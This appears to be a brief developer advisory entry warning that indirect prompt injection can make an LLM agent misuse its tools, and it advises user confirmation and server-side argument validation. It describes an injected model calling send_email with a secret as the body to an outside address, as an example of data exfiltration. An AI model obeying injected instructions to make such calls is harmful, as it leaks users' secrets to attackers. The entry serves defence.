Report #70058

[gotcha] Untrusted data triggering unintended function calls

Never execute LLM function calls without explicit user confirmation for destructive or external-facing actions. Validate all arguments server-side.

Journey Context:
Developers expose powerful APIs \(e.g., send\_email, delete\_file\) to the LLM. If an indirect prompt injection succeeds, the LLM might decide to call send\_email\(to='[email protected]', body=secret\). Because the LLM has the tool, it will use it.
